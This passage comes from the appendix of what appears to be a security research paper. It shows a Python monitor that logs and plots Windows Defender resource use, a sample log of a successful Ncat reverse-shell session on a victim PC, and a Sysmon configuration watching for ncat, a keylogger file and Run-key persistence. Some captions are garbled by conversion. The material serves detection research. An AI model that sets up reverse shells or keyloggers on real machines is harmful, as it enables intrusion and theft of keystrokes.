with open(CSV_FILENAME, 'a', newline='') as f:
writer = csv.writer(f)
writer.writerow([current_time_str, "0.00", "0.00"]) # Log as zero if not found

# Accurate sleep interval
time_to_sleep = interval - (time.time() - current_loop_time)
```

```
if time_to_sleep > 0:
time.sleep(time_to_sleep)

except KeyboardInterrupt:
print("Monitoring stopped by user.")
except Exception as e:
print(f"An error occurred: {e}")
finally:
if timestamps:
plt.figure(figsize=(12, 8))
time_labels = [time.strftime('%H:%M:%S', time.localtime(ts)) for ts in timestamps]

plt.subplot(2, 1, 1)
plt.plot(time_labels, cpu_usages, label=f'CPU Usage (%)', color='red', marker='o', linestyle='-')
plt.title(f'{DEFENDER_PROCESS_NAME} Resource Usage Over Time')
plt.ylabel('CPU (%)')
plt.xticks(rotation=45, ha="right")
plt.legend()
plt.grid(True, linestyle='--', alpha=0.7)

plt.subplot(2, 1, 2)
plt.plot(time_labels, memory_usages_mb, label=f'Memory Usage (MB)', color='blue', marker='x', linestyle='-')
plt.xlabel('Time')
plt.ylabel('Memory (MB)')
plt.xticks(rotation=45, ha="right")
plt.legend()
plt.grid(True, linestyle='--', alpha=0.7)

plt.tight_layout(rect=[0, 0.03, 1, 0.95])
plt.savefig(PLOT_FILENAME)
print(f"Plot saved to {PLOT_FILENAME}")
# plt.show()
else:
print("No data collected to plot.")

if __name__ == "__main__":
# Example: python activity_logger.py --duration 120 --interval 5 --enable_csv
# For simplicity, hardcoding for now, but you can add argparse
main(monitor_duration=60, interval=2, csv_output=True)
```

Listing 3: activity_logger.py - Windows Defender Resource Monitor

Source: Provided ‘activity$_{l}ogger.py‘file(withillustrativeenhancementsforCSVoutput, betterprocessfinding, an$

# B Artifact Excerpts Configurations

## B.1 C2 Session Transcript Example (‘C2$_{s}ession.log$‘)

Below is a hypothetical excerpt from a successful Ncat reverse shell session:

```
Listening on [0.0.0.0] (family 0, port 12345)
Connection from [VICTIM_IP_ADDRESS] port XXXXX received!
Microsoft Windows [Version 10.0.XXXXX.XXXX]
(c) Microsoft Corporation. All rights reserved.

C:\Users\VictimUser\Documents>whoami
victim-pc\victimuser

C:\Users\VictimUser\Documents>dir
Volume in drive C has no label.
Volume Serial Number is XXXX-XXXX

Directory of C:\Users\VictimUser\Documents

05/10/2024  03:45 PM    <DIR>          .
05/10/2024  03:45 PM    <DIR>          ..
...
0 File(s)              0 bytes
2 Dir(s)  XX,XXX,XXX,XXX bytes free

C:\Users\VictimUser\Documents>exit
```

This transcript (stored in ‘C2$_{s}ession.log$‘)$demonstratessuccessfulremotecommandexecution.$

## B.2 Sysmon Configuration Example (‘sysmon$_{c}onfig.xml$‘)

A comprehensive Sysmon configuration is crucial for detailed logging. Below is a conceptual snippet focusing on process creation and network connections. A full configuration would be more extensive (e.g., from SwiftOnSecurity’s Sysmon config).

```
<Sysmon schemaversion="4.90">
<EventFiltering>
<RuleGroup name="" groupRelation="or">
<ProcessCreate onmatch="exclude">
<Image condition="contains">\AppData\Local\Temp</Image>
</ProcessCreate>
```

```
<ProcessCreate onmatch="include">
<Rule groupRelation="or">
</Rule>
</ProcessCreate>
</RuleGroup>

<NetworkConnect onmatch="include">
<Rule groupRelation="or">
<Image condition="end with">cmd.exe</Image>
<Image condition="end with">powershell.exe</Image>
<Image condition="end with">ncat.exe</Image>
<Image condition="end with">python.exe</Image>
<Image condition="is">C:\Program Files\Mozilla Firefox\firefox.exe</Image>
<Image condition="is">C:\Program Files\Google\Chrome\Application\chrome.exe</Image>
</Rule>
</NetworkConnect>

<FileCreate onmatch="include">
<TargetFilename condition="contains">key.txt</TargetFilename>
<TargetFilename condition="contains">keylog.py</TargetFilename>
</FileCreate>

<RegistryEvent onmatch="include"> <EventType condition="is">SetValue</EventType>
<TargetObject condition="contains">CurrentVersion\Run</TargetObject>
</RegistryEvent>

</EventFiltering>
</Sysmon>
```

Listing 4: Sysmon Configuration Snippet (‘sysmon$_{c}onfig.xml$‘)

A tailored ‘sysmon$_{c}onfig.xml$‘$shouldbeusedtocapturerelevanteventswithoutexcessivenoise.$